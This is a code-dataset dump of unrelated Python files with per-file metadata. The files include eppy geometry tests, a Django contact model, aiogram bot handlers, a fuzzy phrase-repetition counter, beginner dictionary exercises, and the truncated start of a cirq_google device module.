(-83652.75889999978, -100992.65210000053),
(-83637.73039999977, -100993.7087999992),
],
"height": 21.0,
},
{
"name": "PN1001_Bld1001",
"coordinates": [
(-83636.50970000029, -100976.35019999929),
(-83637.73039999977, -100993.7087999992),
(-83652.75889999978, -100992.65210000053),
(-83651.5382000003, -100975.29350000061),
(-83636.50970000029, -100976.35019999929),
],
"height": 21.0,
},
{
"name": "PN1001_Bld1004_EL23",
"coordinates": [
(-83635.2890999997, -100958.99369999953),
(-83650.31759999972, -100957.93679999933),
(-83648.50050000008, -100932.0979999993),
(-83634.0064000003, -100940.75280000083),
(-83635.2890999997, -100958.99369999953),
],
"height": 21.0,
},
{
"name": "PN1001_Bld1004_EL24",
"coordinates": [
(-83635.2890999997, -100958.99369999953),
(-83636.50970000029, -100976.35019999929),
(-83651.5382000003, -100975.29350000061),
(-83650.31759999972, -100957.93679999933),
(-83635.2890999997, -100958.99369999953),
],
"height": 21.0,
},
]
zones = [
{
"name": "PN1001_Bld1003 Zone1",
"coordinates": [
(-83637.86197158082, -100995.57970000058),
(-83623.76818996808, -100995.57970000058),
(-83629.44400000013, -101021.71050000004),
(-83639.28569999989, -101015.82459999993),
(-83637.86197158082, -100995.57970000058),
],
"height": 3.0,
"num_stories": 1,
},
{
"name": "PN1001_Bld1003 Zone2",
"coordinates": [
(-83623.76818996808, -100995.57970000058),
(-83637.86197158082, -100995.57970000058),
(-83637.73039999977, -100993.7087999992),
(-83636.55229433342, -100976.95590000041),
(-83619.72295787116, -100976.95590000041),
(-83623.76818996808, -100995.57970000058),
],
"height": 3.0,
"num_stories": 1,
},
{
"name": "PN1001_Bld1003 Zone3",
"coordinates": [
(-83614.40199999977, -100952.4587999992),
(-83616.24896021019, -100960.96199999936),
(-83635.42752116646, -100960.96199999936),
(-83635.2890999997, -100958.99369999953),
(-83634.0064000003, -100940.75280000083),
(-83614.40199999977, -100952.4587999992),
],
"height": 3.0,
"num_stories": 1,
},
{
"name": "PN1001_Bld1003 Zone4",
"coordinates": [
(-83616.24896021019, -100960.96199999936),
(-83619.72295787116, -100976.95590000041),
(-83636.55229433342, -100976.95590000041),
(-83636.50970000029, -100976.35019999929),
(-83635.42752116646, -100960.96199999936),
(-83616.24896021019, -100960.96199999936),
],
"height": 3.0,
"num_stories": 1,
},
]
return {"zones": zones, "shadows": shadow_blocks}
def test_basic_shadow_matching(new_idf):
"""
Test with all x-axis at 0
This should avoid any issues with rounding/almost_equals.
"""
try:
ggr = new_idf.idfobjects["GLOBALGEOMETRYRULES"][0]
except IndexError:
ggr = None
wall = new_idf.newidfobject(
"BUILDINGSURFACE:DETAILED", Name="A Wall", Surface_Type="wall"
)
set_coords(wall, [(0, 0, 0), (0, 1, 0), (0, 1, 1), (0, 0, 1)], ggr)
shadow = new_idf.newidfobject("SHADING:SITE:DETAILED", Name="A Shadow")
set_coords(shadow, [(0, 0, 2), (0, 2, 2), (0, 2, 0), (0, 0, 0)], ggr)
new_idf.intersect_match()
# new_idf.view_model()
walls = [
Polygon3D(w.coords)
for w in new_idf.getsurfaces("wall")
if w.Outside_Boundary_Condition == "adiabatic"
]
expected_adiabatic = 1
assert len(walls) == expected_adiabatic
def test_simple_shadow_matching(new_idf):
"""Test in a single plane, but angled."""
try:
ggr = new_idf.idfobjects["GLOBALGEOMETRYRULES"][0]
except IndexError:
ggr = None
wall1 = new_idf.newidfobject(
"BUILDINGSURFACE:DETAILED", Name="Wall 1", Surface_Type="wall"
)
set_coords(
wall1,
[
(1.5553000001236796, 28.001700000837445, 3.0),
(1.5553000001236796, 28.001700000837445, -1.0),
(2.7759999996051192, 45.36030000075698, -1.0),
(2.7759999996051192, 45.36030000075698, 3.0),
],
ggr,
)
shadow = new_idf.newidfobject("SHADING:SITE:DETAILED", Name="A Shadow")
set_coords(
shadow,
[
(2.7759999996051192, 45.36030000075698, 21.0),
(2.7759999996051192, 45.36030000075698, 0.0),
(1.5553000001236796, 28.001700000837445, 0.0),
(1.5553000001236796, 28.001700000837445, 21.0),
],
ggr,
)
new_idf.intersect_match()
# new_idf.view_model()
walls = [
Polygon3D(w.coords)
for w in new_idf.getsurfaces("wall")
if w.Outside_Boundary_Condition == "adiabatic"
]
expected_adiabatic = 1
assert len(walls) == expected_adiabatic
def test_shadow_matching(new_idf, shadow_matching):
"""Test with a full model."""
for block in shadow_matching["shadows"]:
new_idf.add_shading_block(**block)
for block in shadow_matching["zones"]:
new_idf.add_block(**block)
new_idf.translate_to_origin()
new_idf.intersect_match()
adiabatic = [
Polygon3D(w.coords)
for w in new_idf.getsurfaces("wall")
if w.Outside_Boundary_Condition == "adiabatic"
]
expected_adiabatic = 7
assert len(adiabatic) == expected_adiabatic
def test_shadow_intersecting(new_idf, shadow_matching):
"""Test with a full model."""
for block in shadow_matching["shadows"]:
new_idf.add_shading_block(**block)
for block in shadow_matching["zones"]:
new_idf.add_block(**block)
new_idf.translate_to_origin()
new_idf.intersect()
shadows = [Polygon3D(s.coords) for s in new_idf.getshadingsurfaces()]
assert len(shadows) == 23
| en | 0.916408 | Tests for issue previously raised and fixed, so we can be alerted if they start failing again. Test with all x-axis at 0 This should avoid any issues with rounding/almost_equals. # new_idf.view_model() Test in a single plane, but angled. # new_idf.view_model() Test with a full model. Test with a full model. | 2.209918 | 2 |
druhaci/python/webData.py | ZdenekZaruba/personal | 0 | 6616223 | import requests
from bs4 import BeautifulSoup
# Collect first page of artists’ list
page = requests.get('https://web.archive.org/web/20121007172955/https://www.nga.gov/collection/anZ1.htm') | import requests
from bs4 import BeautifulSoup
# Collect first page of artists’ list
page = requests.get('https://web.archive.org/web/20121007172955/https://www.nga.gov/collection/anZ1.htm') | en | 0.708592 | # Collect first page of artists’ list | 2.51351 | 3 |
lesson6/learn_dict.py | yoyo929/learn-python | 0 | 6616224 | # a = [1, 2, 3, 4, 5]
# a[5] = 100
# # list []
# # tuple ()
# # dict {}
# a = ['hello', 12, [1, 2, 3, 4], {'a':'b'}]
# yoyo = { 'name': '<NAME>', 'age': 30, 'gender': 'female', 'birthday': 'hahaha' }
# a = {'key1': 'Hello', 'key2': 12, 'key3': [1, 2, 3, 4], 'key4': { 'a': 'b' }, 'key5': True}
# # 键 key
# # 值 value
# # 键值对 pair
# print(yoyo)
# print(yoyo['age'])
# yoyo['birthday'] = '1990-09-29'
# print(yoyo)
# del yoyo['birthday']
# print(yoyo)
# d = {}
# d['color'] = 'green'
# d['points'] = 5
# print(d)
# d['points'] -= 12
# print(d)
# x_positions = 12
# y_positions = 3
# speed = 'slow'
# alien = { 'has_a_house': True, 'x': 0, 'y': 3, 'speed': 'slow' }
# x = alien.get('z')
# if x == None:
# print('字典中没有z')
# else:
# print(f'字典中有z: {x}')
# favourite_languages = {
# 'jen': 'python',
# 'sarah': 'c',
# 'edward': 'ruby',
# 'phil': 'python'
# }
# # for name, language in favourite_languages.items():
# # print(f"{name.title()}'s favorite language is {language.title()}")
# if f(6) == 9:
# print('ok')
# for key in sorted(favourite_languages.keys()):
# print(key)
aliens = []
for i in range(30):
b = {'color': 'green', 'points': i, 'speed': 'slow'}
aliens.append(b)
for alien in aliens[:3]:
if alien['color'] == 'green':
alien['color'] = 'yellow'
alien['speed'] = 'medium'
alien['points'] = 10
for alien in aliens[:5]:
print(alien)
print('...')
# print(aliens)
# values = []
# for i in range(10):
# a = i * i
# b = a + 1
# values.append(b)
# print(values)
# haha = []
# for i in range(5):
# b = [1, 2, 3]
# haha.append(b)
# print(haha)
| # a = [1, 2, 3, 4, 5]
# a[5] = 100
# # list []
# # tuple ()
# # dict {}
# a = ['hello', 12, [1, 2, 3, 4], {'a':'b'}]
# yoyo = { 'name': '<NAME>', 'age': 30, 'gender': 'female', 'birthday': 'hahaha' }
# a = {'key1': 'Hello', 'key2': 12, 'key3': [1, 2, 3, 4], 'key4': { 'a': 'b' }, 'key5': True}
# # 键 key
# # 值 value
# # 键值对 pair
# print(yoyo)
# print(yoyo['age'])
# yoyo['birthday'] = '1990-09-29'
# print(yoyo)
# del yoyo['birthday']
# print(yoyo)
# d = {}
# d['color'] = 'green'
# d['points'] = 5
# print(d)
# d['points'] -= 12
# print(d)
# x_positions = 12
# y_positions = 3
# speed = 'slow'
# alien = { 'has_a_house': True, 'x': 0, 'y': 3, 'speed': 'slow' }
# x = alien.get('z')
# if x == None:
# print('字典中没有z')
# else:
# print(f'字典中有z: {x}')
# favourite_languages = {
# 'jen': 'python',
# 'sarah': 'c',
# 'edward': 'ruby',
# 'phil': 'python'
# }
# # for name, language in favourite_languages.items():
# # print(f"{name.title()}'s favorite language is {language.title()}")
# if f(6) == 9:
# print('ok')
# for key in sorted(favourite_languages.keys()):
# print(key)
aliens = []
for i in range(30):
b = {'color': 'green', 'points': i, 'speed': 'slow'}
aliens.append(b)
for alien in aliens[:3]:
if alien['color'] == 'green':
alien['color'] = 'yellow'
alien['speed'] = 'medium'
alien['points'] = 10
for alien in aliens[:5]:
print(alien)
print('...')
# print(aliens)
# values = []
# for i in range(10):
# a = i * i
# b = a + 1
# values.append(b)
# print(values)
# haha = []
# for i in range(5):
# b = [1, 2, 3]
# haha.append(b)
# print(haha)
| en | 0.236159 | # a = [1, 2, 3, 4, 5] # a[5] = 100 # # list [] # # tuple () # # dict {} # a = ['hello', 12, [1, 2, 3, 4], {'a':'b'}] # yoyo = { 'name': '<NAME>', 'age': 30, 'gender': 'female', 'birthday': 'hahaha' } # a = {'key1': 'Hello', 'key2': 12, 'key3': [1, 2, 3, 4], 'key4': { 'a': 'b' }, 'key5': True} # # 键 key # # 值 value # # 键值对 pair # print(yoyo) # print(yoyo['age']) # yoyo['birthday'] = '1990-09-29' # print(yoyo) # del yoyo['birthday'] # print(yoyo) # d = {} # d['color'] = 'green' # d['points'] = 5 # print(d) # d['points'] -= 12 # print(d) # x_positions = 12 # y_positions = 3 # speed = 'slow' # alien = { 'has_a_house': True, 'x': 0, 'y': 3, 'speed': 'slow' } # x = alien.get('z') # if x == None: # print('字典中没有z') # else: # print(f'字典中有z: {x}') # favourite_languages = { # 'jen': 'python', # 'sarah': 'c', # 'edward': 'ruby', # 'phil': 'python' # } # # for name, language in favourite_languages.items(): # # print(f"{name.title()}'s favorite language is {language.title()}") # if f(6) == 9: # print('ok') # for key in sorted(favourite_languages.keys()): # print(key) # print(aliens) # values = [] # for i in range(10): # a = i * i # b = a + 1 # values.append(b) # print(values) # haha = [] # for i in range(5): # b = [1, 2, 3] # haha.append(b) # print(haha) | 3.367143 | 3 |
apps/contact/models.py | gurnitha/django-contact-manager | 0 | 6616225 | # apps/contact/models.py
# Django modules
from django.db import models
from django.utils.timezone import datetime
from django.contrib.auth.models import User
# Django locals
# Create your models here.
class Contact(models.Model):
manager = models.ForeignKey(User,
on_delete=models.RESTRICT, default=None)
name = models.CharField(max_length=50)
email = models.CharField(max_length=100)
phone = models.CharField(max_length=15)
info = models.CharField(max_length=50)
gender = models.CharField(max_length=50,
choices=(
('male', 'Male'),
('female', 'Female')))
image = models.ImageField(upload_to='images/', blank=True)
date_added = models.DateTimeField(default=datetime.now)
class Meta:
ordering = ['-id']
def __str__(self):
return self.name
| # apps/contact/models.py
# Django modules
from django.db import models
from django.utils.timezone import datetime
from django.contrib.auth.models import User
# Django locals
# Create your models here.
class Contact(models.Model):
manager = models.ForeignKey(User,
on_delete=models.RESTRICT, default=None)
name = models.CharField(max_length=50)
email = models.CharField(max_length=100)
phone = models.CharField(max_length=15)
info = models.CharField(max_length=50)
gender = models.CharField(max_length=50,
choices=(
('male', 'Male'),
('female', 'Female')))
image = models.ImageField(upload_to='images/', blank=True)
date_added = models.DateTimeField(default=datetime.now)
class Meta:
ordering = ['-id']
def __str__(self):
return self.name
| en | 0.803061 | # apps/contact/models.py # Django modules # Django locals # Create your models here. | 2.279182 | 2 |
tests/utils_tests.py | bcongdon/agdq-collector | 12 | 6616226 | <reponame>bcongdon/agdq-collector
from gdq_collector import utils
import pytz
def test_truncated_time():
t = utils.get_truncated_time()
assert t.second == 0
assert t.microsecond == 0
assert t.tzinfo == pytz.utc
| from gdq_collector import utils
import pytz
def test_truncated_time():
t = utils.get_truncated_time()
assert t.second == 0
assert t.microsecond == 0
assert t.tzinfo == pytz.utc | none | 1 | 2.289658 | 2 | |
azurelinuxagent/common/errorstate.py | koifans/WALinuxAgent | 423 | 6616227 | from datetime import datetime, timedelta
ERROR_STATE_DELTA_DEFAULT = timedelta(minutes=15)
ERROR_STATE_DELTA_INSTALL = timedelta(minutes=5)
ERROR_STATE_HOST_PLUGIN_FAILURE = timedelta(minutes=5)
class ErrorState(object):
def __init__(self, min_timedelta=ERROR_STATE_DELTA_DEFAULT):
self.min_timedelta = min_timedelta
self.count = 0
self.timestamp = None
def incr(self):
if self.count == 0:
self.timestamp = datetime.utcnow()
self.count += 1
def reset(self):
self.count = 0
self.timestamp = None
def is_triggered(self):
if self.timestamp is None:
return False
delta = datetime.utcnow() - self.timestamp
if delta >= self.min_timedelta:
return True
return False
@property
def fail_time(self):
if self.timestamp is None:
return 'unknown'
delta = round((datetime.utcnow() - self.timestamp).seconds / 60.0, 2)
if delta < 60:
return '{0} min'.format(delta)
delta_hr = round(delta / 60.0, 2)
return '{0} hr'.format(delta_hr)
| from datetime import datetime, timedelta
ERROR_STATE_DELTA_DEFAULT = timedelta(minutes=15)
ERROR_STATE_DELTA_INSTALL = timedelta(minutes=5)
ERROR_STATE_HOST_PLUGIN_FAILURE = timedelta(minutes=5)
class ErrorState(object):
def __init__(self, min_timedelta=ERROR_STATE_DELTA_DEFAULT):
self.min_timedelta = min_timedelta
self.count = 0
self.timestamp = None
def incr(self):
if self.count == 0:
self.timestamp = datetime.utcnow()
self.count += 1
def reset(self):
self.count = 0
self.timestamp = None
def is_triggered(self):
if self.timestamp is None:
return False
delta = datetime.utcnow() - self.timestamp
if delta >= self.min_timedelta:
return True
return False
@property
def fail_time(self):
if self.timestamp is None:
return 'unknown'
delta = round((datetime.utcnow() - self.timestamp).seconds / 60.0, 2)
if delta < 60:
return '{0} min'.format(delta)
delta_hr = round(delta / 60.0, 2)
return '{0} hr'.format(delta_hr)
| none | 1 | 2.586452 | 3 | |
bot/menu/handlers.py | Bloodielie/trip_counter | 0 | 6616228 | from aiogram import types
from aiogram.dispatcher import FSMContext
from sqlalchemy.exc import IntegrityError
from sqlalchemy.orm import sessionmaker
import bot.menu.text as menu_text
from bot.balance.services import get_user_balance, get_all_users_balance
from bot.menu.keyboards import menu_keyboard, choice_history_type_keyboard
from bot.menu.states import States
from bot.shared import text
from bot.user.models import User
from bot.user.services.invite import get_invite_by_hash
from bot.user.services.user import create_user
async def start(msg: types.Message, session: sessionmaker) -> types.Message:
_, _, hash_ = msg.text.partition(" ")
if hash_:
try:
async with session.begin() as async_session:
invite = await get_invite_by_hash(async_session, hash_)
if invite is None:
return await msg.answer(text.PERMISSION_ERROR)
if invite.invited is not None:
return await msg.answer(menu_text.INVITE_ALREADY_ACTIVE)
await create_user(async_session, msg.from_user.id, invite.user_identifier)
except IntegrityError:
return await msg.answer(menu_text.USER_ALREADY_IN_DB)
await States.menu.set()
return await msg.answer(menu_text.START, reply_markup=menu_keyboard)
async def bad_menu_input(msg: types.Message):
return await msg.reply(text.BAD_INPUT)
async def menu_user_balance(msg: types.Message, user: User, session: sessionmaker):
balance_text = None
if "admin" not in {role.codename for role in user.roles}:
async with session() as async_session:
balance = await get_user_balance(async_session, user.id)
if balance is not None:
balance_text = menu_text.USER_BALANCE.format(balance=balance)
else:
async with session() as async_session:
balances = await get_all_users_balance(async_session)
if balances:
balance_text = "\n".join([menu_text.USERS_BALANCES.format(balance[0], balance[1]) for balance in balances])
if balance_text is None:
return await msg.answer(menu_text.NO_DATA)
return await msg.answer(balance_text)
async def menu_history(msg: types.Message, state: FSMContext):
await state.set_state(States.history.get_history)
return await msg.answer(menu_text.CHOICE_HISTORY_TYPE, reply_markup=choice_history_type_keyboard)
async def bad_history_input(msg: types.Message):
await msg.reply(text.BAD_INPUT)
| from aiogram import types
from aiogram.dispatcher import FSMContext
from sqlalchemy.exc import IntegrityError
from sqlalchemy.orm import sessionmaker
import bot.menu.text as menu_text
from bot.balance.services import get_user_balance, get_all_users_balance
from bot.menu.keyboards import menu_keyboard, choice_history_type_keyboard
from bot.menu.states import States
from bot.shared import text
from bot.user.models import User
from bot.user.services.invite import get_invite_by_hash
from bot.user.services.user import create_user
async def start(msg: types.Message, session: sessionmaker) -> types.Message:
_, _, hash_ = msg.text.partition(" ")
if hash_:
try:
async with session.begin() as async_session:
invite = await get_invite_by_hash(async_session, hash_)
if invite is None:
return await msg.answer(text.PERMISSION_ERROR)
if invite.invited is not None:
return await msg.answer(menu_text.INVITE_ALREADY_ACTIVE)
await create_user(async_session, msg.from_user.id, invite.user_identifier)
except IntegrityError:
return await msg.answer(menu_text.USER_ALREADY_IN_DB)
await States.menu.set()
return await msg.answer(menu_text.START, reply_markup=menu_keyboard)
async def bad_menu_input(msg: types.Message):
return await msg.reply(text.BAD_INPUT)
async def menu_user_balance(msg: types.Message, user: User, session: sessionmaker):
balance_text = None
if "admin" not in {role.codename for role in user.roles}:
async with session() as async_session:
balance = await get_user_balance(async_session, user.id)
if balance is not None:
balance_text = menu_text.USER_BALANCE.format(balance=balance)
else:
async with session() as async_session:
balances = await get_all_users_balance(async_session)
if balances:
balance_text = "\n".join([menu_text.USERS_BALANCES.format(balance[0], balance[1]) for balance in balances])
if balance_text is None:
return await msg.answer(menu_text.NO_DATA)
return await msg.answer(balance_text)
async def menu_history(msg: types.Message, state: FSMContext):
await state.set_state(States.history.get_history)
return await msg.answer(menu_text.CHOICE_HISTORY_TYPE, reply_markup=choice_history_type_keyboard)
async def bad_history_input(msg: types.Message):
await msg.reply(text.BAD_INPUT)
| none | 1 | 2.228699 | 2 | |
parsers/tests/test_fieldparser.py | mertsalik/faruk_bot | 0 | 6616229 | # -*- coding: utf-8 -*-
import os, sys
import unittest
from parsers.fieldparser import FieldParser
__author__ = "mertsalik"
__copyright__ = "Copyright 2018"
__credits__ = ["mertsalik", ""]
__license__ = "Private"
__email__ = ""
class TestFieldParser(unittest.TestCase):
def setUp(self):
dir_path = os.path.dirname(os.path.realpath(__file__))
with open(os.path.join(dir_path,
"field_input_sample1.txt")) as field_input_file:
self.engine_start_input = field_input_file.read()
self.sample_input_1 = "S,.,.,.,.,.,.,.,.,.,.,.,.,.,S"
self.expected_sample_matrix = [
['S', '.', '.', '.', '.'],
['.', '.', '.', '.', '.'],
['.', '.', '.', '.', 'S']
]
self.field_sample1_width = 19
self.field_sample1_height = 15
def tearDown(self):
pass
def test_fieldparser(self):
fp = FieldParser(input_string=self.sample_input_1, width=5)
self.assertEqual(fp.get_matrix(), self.expected_sample_matrix)
def test_fieldparser_spawn_points(self):
fp = FieldParser(input_string=self.engine_start_input,
width=self.field_sample1_width)
field_matrix = fp.get_matrix()
self.assertEqual('S', field_matrix[0][0])
self.assertEqual('S', field_matrix[0][self.field_sample1_width - 1])
self.assertEqual('S', field_matrix[self.field_sample1_height - 1][0])
self.assertEqual('S', field_matrix[self.field_sample1_height - 1][
self.field_sample1_width - 1])
| # -*- coding: utf-8 -*-
import os, sys
import unittest
from parsers.fieldparser import FieldParser
__author__ = "mertsalik"
__copyright__ = "Copyright 2018"
__credits__ = ["mertsalik", ""]
__license__ = "Private"
__email__ = ""
class TestFieldParser(unittest.TestCase):
def setUp(self):
dir_path = os.path.dirname(os.path.realpath(__file__))
with open(os.path.join(dir_path,
"field_input_sample1.txt")) as field_input_file:
self.engine_start_input = field_input_file.read()
self.sample_input_1 = "S,.,.,.,.,.,.,.,.,.,.,.,.,.,S"
self.expected_sample_matrix = [
['S', '.', '.', '.', '.'],
['.', '.', '.', '.', '.'],
['.', '.', '.', '.', 'S']
]
self.field_sample1_width = 19
self.field_sample1_height = 15
def tearDown(self):
pass
def test_fieldparser(self):
fp = FieldParser(input_string=self.sample_input_1, width=5)
self.assertEqual(fp.get_matrix(), self.expected_sample_matrix)
def test_fieldparser_spawn_points(self):
fp = FieldParser(input_string=self.engine_start_input,
width=self.field_sample1_width)
field_matrix = fp.get_matrix()
self.assertEqual('S', field_matrix[0][0])
self.assertEqual('S', field_matrix[0][self.field_sample1_width - 1])
self.assertEqual('S', field_matrix[self.field_sample1_height - 1][0])
self.assertEqual('S', field_matrix[self.field_sample1_height - 1][
self.field_sample1_width - 1])
| en | 0.769321 | # -*- coding: utf-8 -*- | 2.984662 | 3 |
repetition_count.py | jfecroft/parse-text | 0 | 6616230 | """
classes and methods related to repition counting in text
"""
from itertools import tee, izip, islice, groupby
import yaml
from collections import defaultdict
from cluster import HierarchicalClustering # , KMeansClustering
from fuzzywuzzy import fuzz
from functools import partial
# pylint: disable=R0913
FUZZY_METRICS = {
'ratio': fuzz.ratio,
'partial_ratio': fuzz.partial_ratio,
'partial_token_sort_ratio': fuzz.partial_token_sort_ratio,
'partial_token_set_ratio': fuzz.partial_token_set_ratio,
'token_set_ratio': fuzz.token_set_ratio,
'token_sort_ratio': fuzz.token_sort_ratio,
}
def nwise(iterable, npairs=2):
"""
return a iterator which return consecutive npairs
"""
iters = tee(iterable, npairs)
for i, iterator in enumerate(iters):
next(islice(iterator, i, i), None)
return izip(*iters)
def load_yaml(filen):
"""
load a yaml file and return the json object
"""
with open('{}.yml'.format(filen), 'r') as open_file:
return_dict = yaml.load(open_file)
return return_dict
class GroupWords(object):
"""
methods used to group words
"""
@classmethod
def group_phrases(cls, items, num_max, iter_num=0,
return_groups=None, item=-1):
"""
recursively group until groups small enough
"""
if return_groups is None:
return_groups = []
if len(items) <= num_max:
return_groups.append(items)
else:
for group in GroupWords.group_by(items, iter_num+1, item=item):
GroupWords.group_phrases(group,
num_max,
iter_num+1,
return_groups=return_groups)
return return_groups
@staticmethod
def group_by(items, num=0, item=-1):
"""
return phrases grouped by their initial *num* letters
"""
if item >= 0:
func = lambda x: x[item][:num]
else:
func = lambda x: x[:num]
items.sort(key=func)
return [list(group) for _, group in groupby(items, func)]
class CountRepetitions(object):
"""
count repetitions in text
"""
def __init__(self, books):
self.books = books
self.repeated_phrases = set() # store matched phrases
@staticmethod
def fuzzy_distance(word1, word2, metric):
"""
return the fuzzy distance between two phrases
"""
return 100 - metric(word1[0], word2[0])
def count_exact_repetitions(self, npairs=7):
"""
group identical words
"""
words = self.get_words(npairs=npairs)
exact_repetitions = defaultdict(list)
for word, line in words:
exact_repetitions[word].append(line)
return exact_repetitions
def update_repeated_phrases(self, items):
"""
create a set of already matched phrases
needed to avoid 3 word reps in a 4 word phrase for instance
"""
reps = sum(len(item[1]) for item in items)
if reps > 1:
self.repeated_phrases.update(
{(' '.join(words), line_num)
for item in items
for line_num in item[1]
for n in range(1, len(item[0].split())+1)
for words in nwise(item[0].split(),
npairs=n)})
def count_fuzzy_repetitions(
self, dist=10, max_group_size=50, npairs=7,
dist_func='token_sort_ratio'):
"""
return a fuzzy matching of phrases
"""
fuzzy_repetitions = list()
unique_words = self.count_exact_repetitions(npairs=npairs).items()
groups = GroupWords.group_phrases(unique_words, max_group_size, item=0)
dist_func = partial(CountRepetitions.fuzzy_distance,
metric=FUZZY_METRICS[dist_func])
for group in groups:
if len(group) == 1:
fuzzy_repetitions.append(group)
else:
clusters = HierarchicalClustering(
group,
dist_func).getlevel(dist)
fuzzy_repetitions.extend(clusters)
# update format
for i, repeated_phrase in enumerate(fuzzy_repetitions):
self.update_repeated_phrases(repeated_phrase)
phrase = {item[0] for item in repeated_phrase}
lines = {line for item in repeated_phrase for line in item[1]}
fuzzy_repetitions[i] = (phrase, lines)
return fuzzy_repetitions
def get_words(self, npairs):
"""
return a list of tuples of the form (word, line)
"""
words = []
for i, book in enumerate(self.books):
with open(book+'.txt') as open_file:
content = open_file.readlines()
for line_num, line in enumerate(content):
for word in nwise(line.split(), npairs=npairs):
word = ' '.join(word)
word_line = (word, '{}.{}'.format(i+1, line_num+1))
if word_line not in self.repeated_phrases:
words.append(word_line)
words.sort()
return words
| """
classes and methods related to repition counting in text
"""
from itertools import tee, izip, islice, groupby
import yaml
from collections import defaultdict
from cluster import HierarchicalClustering # , KMeansClustering
from fuzzywuzzy import fuzz
from functools import partial
# pylint: disable=R0913
FUZZY_METRICS = {
'ratio': fuzz.ratio,
'partial_ratio': fuzz.partial_ratio,
'partial_token_sort_ratio': fuzz.partial_token_sort_ratio,
'partial_token_set_ratio': fuzz.partial_token_set_ratio,
'token_set_ratio': fuzz.token_set_ratio,
'token_sort_ratio': fuzz.token_sort_ratio,
}
def nwise(iterable, npairs=2):
"""
return a iterator which return consecutive npairs
"""
iters = tee(iterable, npairs)
for i, iterator in enumerate(iters):
next(islice(iterator, i, i), None)
return izip(*iters)
def load_yaml(filen):
"""
load a yaml file and return the json object
"""
with open('{}.yml'.format(filen), 'r') as open_file:
return_dict = yaml.load(open_file)
return return_dict
class GroupWords(object):
"""
methods used to group words
"""
@classmethod
def group_phrases(cls, items, num_max, iter_num=0,
return_groups=None, item=-1):
"""
recursively group until groups small enough
"""
if return_groups is None:
return_groups = []
if len(items) <= num_max:
return_groups.append(items)
else:
for group in GroupWords.group_by(items, iter_num+1, item=item):
GroupWords.group_phrases(group,
num_max,
iter_num+1,
return_groups=return_groups)
return return_groups
@staticmethod
def group_by(items, num=0, item=-1):
"""
return phrases grouped by their initial *num* letters
"""
if item >= 0:
func = lambda x: x[item][:num]
else:
func = lambda x: x[:num]
items.sort(key=func)
return [list(group) for _, group in groupby(items, func)]
class CountRepetitions(object):
"""
count repetitions in text
"""
def __init__(self, books):
self.books = books
self.repeated_phrases = set() # store matched phrases
@staticmethod
def fuzzy_distance(word1, word2, metric):
"""
return the fuzzy distance between two phrases
"""
return 100 - metric(word1[0], word2[0])
def count_exact_repetitions(self, npairs=7):
"""
group identical words
"""
words = self.get_words(npairs=npairs)
exact_repetitions = defaultdict(list)
for word, line in words:
exact_repetitions[word].append(line)
return exact_repetitions
def update_repeated_phrases(self, items):
"""
create a set of already matched phrases
needed to avoid 3 word reps in a 4 word phrase for instance
"""
reps = sum(len(item[1]) for item in items)
if reps > 1:
self.repeated_phrases.update(
{(' '.join(words), line_num)
for item in items
for line_num in item[1]
for n in range(1, len(item[0].split())+1)
for words in nwise(item[0].split(),
npairs=n)})
def count_fuzzy_repetitions(
self, dist=10, max_group_size=50, npairs=7,
dist_func='token_sort_ratio'):
"""
return a fuzzy matching of phrases
"""
fuzzy_repetitions = list()
unique_words = self.count_exact_repetitions(npairs=npairs).items()
groups = GroupWords.group_phrases(unique_words, max_group_size, item=0)
dist_func = partial(CountRepetitions.fuzzy_distance,
metric=FUZZY_METRICS[dist_func])
for group in groups:
if len(group) == 1:
fuzzy_repetitions.append(group)
else:
clusters = HierarchicalClustering(
group,
dist_func).getlevel(dist)
fuzzy_repetitions.extend(clusters)
# update format
for i, repeated_phrase in enumerate(fuzzy_repetitions):
self.update_repeated_phrases(repeated_phrase)
phrase = {item[0] for item in repeated_phrase}
lines = {line for item in repeated_phrase for line in item[1]}
fuzzy_repetitions[i] = (phrase, lines)
return fuzzy_repetitions
def get_words(self, npairs):
"""
return a list of tuples of the form (word, line)
"""
words = []
for i, book in enumerate(self.books):
with open(book+'.txt') as open_file:
content = open_file.readlines()
for line_num, line in enumerate(content):
for word in nwise(line.split(), npairs=npairs):
word = ' '.join(word)
word_line = (word, '{}.{}'.format(i+1, line_num+1))
if word_line not in self.repeated_phrases:
words.append(word_line)
words.sort()
return words
| en | 0.807499 | classes and methods related to repition counting in text # , KMeansClustering # pylint: disable=R0913 return a iterator which return consecutive npairs load a yaml file and return the json object methods used to group words recursively group until groups small enough return phrases grouped by their initial *num* letters count repetitions in text # store matched phrases return the fuzzy distance between two phrases group identical words create a set of already matched phrases needed to avoid 3 word reps in a 4 word phrase for instance return a fuzzy matching of phrases # update format return a list of tuples of the form (word, line) | 2.926946 | 3 |
cirq-google/cirq_google/devices/known_devices.py | Nexuscompute/Cirq | 0 | 6616231 | <reponame>Nexuscompute/Cirq<gh_stars>0
# Copyright 2018 The Cirq Developers
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from typing import Collection, Dict, Optional, Iterable, List, Set, Tuple, cast
import cirq
from cirq import _compat
from cirq_google.api import v2
from cirq_google.api.v2 import device_pb2
from cirq_google.devices import grid_device
from cirq_google.experimental.ops import coupler_pulse
from cirq_google.ops import physical_z_tag, sycamore_gate
from cirq_google.serialization import op_serializer, serializable_gate_set
_2_QUBIT_TARGET_SET = "2_qubit_targets"
_MEAS_TARGET_SET = "meas_targets"
def _parse_device(s: str) -> Tuple[List[cirq.GridQubit], Dict[str, Set[cirq.GridQubit]]]:
"""Parse ASCIIart device layout into info about qubits and connectivity.
Args:
s: String representing the qubit layout. Each line represents a row,
and each character in the row is a qubit, or a blank site if the
character is a hyphen '-'. Different letters for the qubit specify
which measurement line that qubit is connected to, e.g. all 'A'
qubits share a measurement line. Leading and trailing spaces on
each line are ignored.
Returns:
A list of qubits and a dict mapping measurement line name to the qubits
on that measurement line.
"""
lines = s.strip().split('\n')
qubits: List[cirq.GridQubit] = []
measurement_lines: Dict[str, Set[cirq.GridQubit]] = {}
for row, line in enumerate(lines):
for col, c in enumerate(line.strip()):
if c != '-':
qubit = cirq.GridQubit(row, col)
qubits.append(qubit)
measurement_line = measurement_lines.setdefault(c, set())
measurement_line.add(qubit)
return qubits, measurement_lines
@_compat.deprecated(
